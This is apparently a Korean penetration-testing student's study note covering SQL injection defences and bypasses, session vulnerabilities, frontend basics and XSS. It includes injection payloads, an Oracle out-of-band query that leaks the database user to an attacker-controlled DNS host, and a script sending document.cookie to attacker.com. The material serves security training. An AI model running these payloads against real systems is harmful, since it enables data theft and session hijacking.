8 분 소요

모의해킹 5일차 학습 노트

날짜: 2026년 2월 2일 (월요일)


1. SQL Injection 대응 방안

1.1 Prepared Statement (가장 근본적인 대응 방안)

SQL Injection을 방어하는 가장 효과적인 방법은 Prepared Statement이다.

Statement 방식 (취약)

Statement st = new Statement();
query = "select id,pw,name,email from member where id = " + 입력한ID;
result = db.execute(query);

Prepared Statement 방식 (안전)

PrepareStatement ps = new PrepareStatement();
ps.query = "select id,pw,name,email from member where id = ?";
query.bind(1, 입력한ID);
result = db.execute(query);

동작 원리:

  • Statement 방식은 입력값을 문자열로 그대로 쿼리문에 붙인다.
  • Prepared Statement는 쿼리문을 미리 컴파일하여 컬럼과 테이블을 고정시킨다.
  • 이후 입력되는 모든 값은 데이터로만 인식되어 쿼리문 자체를 조작할 수 없다.

면접 질문: “Prepared Statement 쓰면 100% 안전합니까?”

  • 올바른 대답: 제대로 잘 쓰면 100% 안전하다. 그러나 잘못 사용하면 여전히 취약하다.

1.2 Prepared Statement의 취약한 사용 케이스

케이스 1: 테이블명을 동적으로 처리하는 경우

URL: test.com/board/list?boardId=1&search=검색어

취약한 코드:

query = "select 제목, 내용 from " + boardId + " where 제목 like '%?%'";
query.bind(1, keyword);

테이블명(boardId)이 바인딩되지 않고 문자열 결합으로 처리되면, 해당 위치에서 인젝션이 발생한다.

안전한 코드:

if (boardId == "1") {
    query = "select 컬럼들 from qna where 제목 like ?";
} else if (boardId == "2") {
    query = "select 컬럼들 from notice where 제목 like ?";
} else {
    // 에러 처리
}

화이트리스트 방식으로 테이블명을 매핑하여 처리해야 한다.


케이스 2: ORDER BY 절의 정렬 컬럼

URL: test.com/board/list?sorting=title&sortingAd=desc

취약한 코드:

query = "select * from board where 조건 order by " + sorting + " " + sortingAd;

ORDER BY 뒤에는 컬럼명이나 컬럼 번호가 들어가는데, 이 부분은 Prepared Statement로 바인딩할 수 없다. Prepared Statement는 테이블과 컬럼을 미리 고정시키는 기능이기 때문이다.


1.3 ORDER BY 인젝션 기법

ORDER BY 뒤에서는 WHERE 절처럼 조건문을 직접 넣을 수 없다. 대신 CASE WHEN 구문을 활용한다.

기본 문법:

ORDER BY (CASE WHEN 조건 THEN 참일때값 ELSE 거짓일때값 END)

공격 예시 (숫자형):

ORDER BY 1,(CASE WHEN length(user) > 0 THEN 2 ELSE 555/0 END)
  • 조건이 참이면 정상적으로 2번 컬럼으로 정렬
  • 조건이 거짓이면 0으로 나누기 에러 발생

공격 예시 (문자형):

boardId = not'||(CASE WHEN 공격쿼리 THEN '' ELSE 'x' END)||'ice
  • 참이면 notice 테이블 조회
  • 거짓이면 notxice 테이블 조회 시도 → 에러

1.4 숫자형 인젝션

숫자형 파라미터에서는 따옴표 없이 값이 들어가므로 연산을 통해 인젝션 여부를 확인한다.

?id=62-1   (결과: 61로 조회되면 숫자형 인젝션 가능)
?id=62.0   (소수점으로도 테스트)

주의사항:

  • URL에서 +는 공백으로 인식되므로 빼기(-) 사용
  • 숫자만 들어가는 곳에 int() 형변환을 하면 문자열 입력 시 에러 발생 → 인젝션 방어

1.5 날짜형 인젝션

날짜 검색 기능에서 인젝션 포인트를 찾을 때, 쿼리문의 구조를 파악하는 것이 중요하다.

예시 URL:

?startDt=2026-02-01&endDt=2026-02-02

쿼리문 구조 파악:

-- 날짜를 문자로 변환하는 경우
WHERE TO_CHAR(글쓴날짜,'YYYY-MM-DD') > '입력값'

-- 문자를 날짜로 변환하는 경우
WHERE 글쓴날짜 > TO_DATE('입력값','YYYY-MM-DD')

함수 안에 입력값이 들어가는 경우, 괄호와 콤마를 맞춰서 공격 쿼리를 구성해야 한다.

공격 페이로드 예시:

startDt=2026-01-01','YYYY-MM-DD') and (공격쿼리) and TO_DATE('2026-01-01

1.6 OOB (Out-of-Band) 공격

블라인드 SQL Injection에서 데이터를 빠르게 추출하기 위해 외부 서버로 요청을 날리는 기법이다.

Oracle에서 DNS 쿼리 발생:

SELECT utl_inaddr.get_host_address('공격자서버.oast.fun') FROM dual;

데이터 추출 예시:

SELECT utl_inaddr.get_host_address(user||'.공격자서버주소') FROM dual;

DB 서버에서 유저명.공격자서버주소로 DNS 쿼리가 발생하고, 공격자 서버에서 이를 확인하여 데이터를 추출한다.

외부 서버 도구:

  • Burp Collaborator (유료)
  • interactsh (무료 - oast.fun)
  • webhook.site

실무 주의사항:

  • 에러 베이스 문제를 OOB로 풀면 안 된다
  • OOB는 블라인드 상황에서만 사용해야 한다
  • 실무에서 함부로 사용하면 안 된다 (네트워크 정책 위반 가능)

2. 쿠키와 세션

2.1 HTTP 통신의 특성

HTTP는 Stateless(무상태) 프로토콜이다. 서버는 요청-응답 후 클라이언트가 누구인지 기억하지 못한다.

문제점: 사용자 식별 불가 → 로그인 상태 유지 불가


쿠키란?

  • 서버가 브라우저에게 저장하라고 보내는 작은 데이터
  • 클라이언트(브라우저)의 하드디스크에 저장됨
  • 해당 사이트 접속 시 자동으로 요청에 포함되어 전송됨

쿠키 동작 원리:

  1. 최초 접속 시, 서버가 Set-Cookie: sessid=AAAA 응답
  2. 브라우저가 해당 쿠키를 로컬에 저장
  3. 이후 요청 시 Cookie: sessid=AAAA 헤더로 자동 전송
  4. 서버는 AAAA라는 이름의 세션 공간에서 사용자 정보 확인

쿠키 삭제 시:

  • 브라우저의 쿠키만 삭제됨 (서버의 세션 공간은 남아있음)
  • 다시 접속하면 새로운 세션 ID 발급
  • 모든 사이트 로그인이 풀림

2.3 세션 (Session)

세션이란?

  • 서버 측에 저장되는 사용자별 저장 공간
  • 세션 ID(쿠키 값)로 구분됨

핵심 개념:

  • 세션 = 서버에 저장된 공간 (ID, 권한, 장바구니 등)
  • 세션 ID = 세션 공간을 식별하기 위한 값 (쿠키에 저장)

로그인 과정:

  1. 사용자가 ID/PW 입력
  2. 서버가 DB에서 검증
  3. 성공 시, 세션 공간에 사용자 정보 저장
  4. 세션 ID를 쿠키로 발급

결론: 세션 ID = ID + 비밀번호의 역할 → 인증 정보


2.4 세션 관련 취약점

(1) 세션 재사용 (Session Replay Attack / Session Hijacking)

정의: 타인의 세션 ID를 탈취하여 그 사람으로 로그인하는 공격

공격 방법:

  • PC방에서 개발자도구 → Application → Cookie 확인
  • 와이파이 패킷 감청 (HTTP인 경우)
  • XSS 공격으로 쿠키 탈취

대응 방안:

  • 로그인 시 IP 저장 후 모든 요청에서 비교
  • 보안 솔루션 사용 (MAC 주소, 하드디스크 시리얼 등 추가 검증)
  • HTTPS 사용 (패킷 암호화)

한계: 같은 공유기(외부 IP 동일) 사용 시 IP 기반 탐지 불가


(2) 세션 고정 (Session Fixation)

정의: 로그인 전 발급받은 세션 ID가 로그인 후에도 동일하게 유지되는 취약점

공격 시나리오:

  1. 공격자가 먼저 사이트 접속 → 세션 ID(QQQQ) 발급받음
  2. 피해자에게 해당 세션 ID가 포함된 링크 전송
  3. 피해자가 해당 링크로 로그인
  4. 공격자도 QQQQ로 접속 → 피해자 권한 획득

대응 방안:

def login(id, pw):
    if 인증성공:
        session.invalidate()  # 기존 세션 파기
        세션["id"] = id       # 새 세션에 정보 저장
        세션["ip"] = client.remoteIp()

로그인 성공 시 기존 세션을 파기하고 새로운 세션을 발급해야 한다.


(3) 세션 만료 (Session Timeout)

정의: 일정 시간 동안 세션이 사용되지 않으면 자동으로 만료시키는 것

필요성:

  • 사용자가 로그아웃 버튼을 누르지 않고 브라우저를 닫는 경우가 많음
  • 세션 공간이 무한히 남아있으면 브루트포싱 공격에 취약

설정:

  • 서버 측에서 타임아웃 설정 (예: 30분)
  • 마지막 요청 이후 일정 시간 경과 시 세션 삭제

3. 프론트엔드 기초

3.1 HTML (HyperText Markup Language)

역할: 문서의 구조와 틀을 정의

기본 구조:

<html>
  <head>
    <!-- 문서 설정 (제목, 인코딩 등) -->
  </head>
  <body>
    <!-- 실제 화면에 보여줄 내용 -->
  </body>
</html>

태그 구조:

<태그 속성="값">내용</태그>

주요 태그:

  • <h1>~<h6>: 제목 (크기별)
  • <p>: 문단
  • <input>: 입력 필드
  • <button>: 버튼
  • <img src="경로">: 이미지
  • <a href="URL">: 링크
  • <form action="URL" method="POST">: 폼 전송

input 태그 속성:

  • type: text, password, hidden, submit 등
  • name: 파라미터 이름 (서버로 전송될 때 사용)
  • value: 기본값 (hidden의 경우 사용자에게 보이지 않음)

3.2 CSS (Cascading Style Sheets)

역할: 디자인 (색상, 폰트, 레이아웃 등)

적용 방법 3가지:

  1. Inline 방식 - 태그 안에 직접 ```html

파란 글씨


2. **Internal 방식** - style 태그로 분리
```html
<style>
  p { color: blue; }
</style>
  1. External 방식 - 별도 .css 파일 ```html

---

### 3.3 JavaScript

**역할:** 동적인 기능 구현 (사용자 상호작용, DOM 조작 등)

**언어적 특징:**
- 세미콜론(`;`)으로 명령어 구분
- 중괄호(`{}`) 사용
- 한 줄에 여러 명령어 작성 가능
- 들여쓰기 강제 없음

**변수 선언:**
```javascript
var a = 1;
var b = "문자열";
var c = 'single quote도 가능';

조건문:

if (조건) {
    참일때 실행;
} else {
    거짓일때 실행;
}

반복문:

for (i = 0; i < 10; i++) {
    반복 실행;
}

출력:

alert("알림창");           // 팝업
console.log("콘솔 출력");  // 개발자도구 콘솔에 출력

3.4 DOM (Document Object Model) 제어

요소(Element): HTML 태그 하나하나를 객체로 다루는 것

셀렉터(Selector): 특정 요소를 선택하는 방법

요소 선택 방법:

// ID로 선택 (고유값, 문서 내 1개만)
document.getElementById("myId");

// Class로 선택 (그룹, 여러 개 가능) - 배열 반환
document.getElementsByClassName("myClass");

// Name으로 선택 - 배열 반환
document.getElementsByName("myName");

// CSS 선택자로 선택
document.querySelector("#myId");
document.querySelectorAll(".myClass");

ID vs Class:

  • ID: 문서 전체에서 유일한 식별자
  • Class: 비슷한 요소들을 그룹으로 묶을 때 사용

3.5 이벤트 핸들러

이벤트 핸들러: 특정 이벤트 발생 시 실행되는 속성

주요 이벤트 핸들러:

  • onclick: 클릭 시
  • onmouseover: 마우스가 올라갔을 때
  • onmouseout: 마우스가 벗어났을 때
  • onload: 페이지/요소 로드 완료 시
  • onerror: 에러 발생 시
  • onfocus: 포커스 받았을 때

사용 예시:

<img src="dog.jpg" onclick="alert('멍멍')">
<img src="dog.jpg" onmouseover="alert('멍멍')">

4. XSS (Cross-Site Scripting)

4.1 XSS란?

정의: 사용자의 입력값이 응답에 그대로 노출되어 JavaScript로 실행되는 취약점

핵심:

  • alert 띄우는 게 목적이 아님
  • 스크립트가 실행되는 것 자체가 취약점
  • 실제 공격에서는 alert를 사용하지 않음 (티가 나기 때문)

4.2 XSS 공격 절차

  1. 파라미터가 응답에 그대로 노출되는지 확인
  2. 입력값이 노출되는 위치 파악
  3. 필요한 특수문자 확인: < > " ' ( ) / ; 등
  4. 특수문자 치환 여부 확인 (HTML Entity 변환)
  5. 테스트 구문으로 alert 실행
  6. 실제 공격 구문 작성

4.3 HTML Entity 인코딩

브라우저가 기능적으로 사용하는 특수문자를 문자열로 표시하기 위한 인코딩

문자 HTML Entity
< &lt;
> &gt;
" &quot;
' &#x27;
& &amp;

4.4 XSS 공격 케이스별 구문

Case 1: 태그 사이에 입력값이 노출되는 경우

<!-- 원본 -->
<div>[입력값]</div>

<!-- 공격 -->
파라미터=<script>alert('XSS')</script>

<!-- 결과 -->
<div><script>alert('XSS')</script></div>

또는 이벤트 핸들러 사용:

파라미터=<img src=x onerror="alert('XSS')">

Case 2: 태그 속성값 안에 입력값이 노출되는 경우

<!-- 원본 -->
<input value="[입력값]">

<!-- 공격 1: 이벤트 핸들러 추가 -->
파라미터=test" onfocus="alert('XSS')

<!-- 결과 -->
<input value="test" onfocus="alert('XSS')">

<!-- 공격 2: 태그 탈출 -->
파라미터=test"><script>alert('XSS')</script><input value="

<!-- 결과 -->
<input value="test"><script>alert('XSS')</script><input value="">

핵심: 따옴표로 속성값을 닫고, 꺾쇠로 태그를 닫은 뒤 공격 구문 삽입


Case 3: JavaScript 코드 안에 입력값이 노출되는 경우

<!-- 원본 -->
<script>
var lib = "[입력값]";
</script>

<!-- 공격 -->
파라미터=test"; alert('XSS'); var a="

<!-- 결과 -->
<script>
var lib = "test"; alert('XSS'); var a="";
</script>

핵심:

  • 따옴표로 문자열 탈출
  • 세미콜론으로 명령어 구분
  • 뒤에 남는 따옴표 처리

4.5 XSS 문제 풀이 예시

XSS 1번 문제:

  • 취약 파라미터: pageIndex
  • 공격 구문: xsstest1" /> <script>alert("XSS")</script>
  • 입력값이 <input value="[값]"> 형태로 들어가므로 따옴표와 태그를 닫고 스크립트 삽입

XSS 2번 문제:

  • 취약 파라미터: board_id
  • 공격 구문: test'}; alert('XSS'); { var a='
  • 입력값이 JavaScript 문자열 안에 들어가므로 따옴표와 중괄호를 맞춰서 탈출

4.6 XSS의 실제 위험성

셀프 XSS의 문제:

  • 자기 자신에게 alert 띄우는 것은 공격이 아님
  • 개발자도구 콘솔에서 JavaScript 실행하는 것과 동일

실제 공격 시나리오:

  • 피해자가 공격 URL을 클릭하게 만들어야 함
  • 클릭 시 피해자의 쿠키(세션 ID)가 탈취됨
  • 공격자는 탈취한 세션 ID로 피해자 권한 획득

공격 구문 예시:

// 쿠키를 공격자 서버로 전송
<script>
new Image().src="https://attacker.com/steal?cookie="+document.cookie;
</script>

5. 면접 대비 포인트

SQL Injection 관련

  • Prepared Statement의 동작 원리 (컬럼/테이블 고정)
  • Prepared Statement가 취약한 케이스 (테이블명, ORDER BY)
  • 블라인드 SQL Injection vs 에러 기반 vs OOB

세션 관련 취약점 3가지

  1. 세션 재사용 - 타인의 세션 ID 탈취하여 사용
  2. 세션 고정 - 로그인 전후 세션 ID 동일
  3. 세션 만료 - 타임아웃 미설정

XSS 관련

  • alert 막는다고 안전한 게 아님 (실행 자체를 막아야 함)
  • XSS로 할 수 있는 공격 (세션 탈취, 피싱, 키로깅 등)
  • Stored vs Reflected vs DOM-based XSS

6. 실습 도구

Burp Suite - Match & Replace

  • 매번 쿠키 값을 수정하기 번거로울 때 사용
  • 설정: Proxy → Options → Match and Replace → Add
  • 특정 값이 요청에 포함되면 자동으로 다른 값으로 치환

외부 서버 (OOB 테스트용)

  • interactsh (oast.fun) - 무료
  • webhook.site - 무료
  • Burp Collaborator - 유료

7. 오늘의 핵심 정리

  1. Prepared Statement는 테이블/컬럼을 고정시켜 인젝션을 방어하지만, 동적으로 테이블명이나 정렬 컬럼을 처리하면 여전히 취약하다.

  2. 세션 ID는 인증 정보와 동일하다. ID/PW를 몰라도 세션 ID만 있으면 로그인이 가능하다.

  3. XSS의 핵심은 alert가 아니라 스크립트 실행 자체이다. 입력값이 응답에 노출되는 위치를 파악하고, 문법을 맞춰서 탈출해야 한다.

  4. 보안 취약점 진단에서 중요한 것은 “할 수 있다/없다”가 아니라 “왜 되는지/안 되는지”를 이해하는 것이다.

댓글 남기기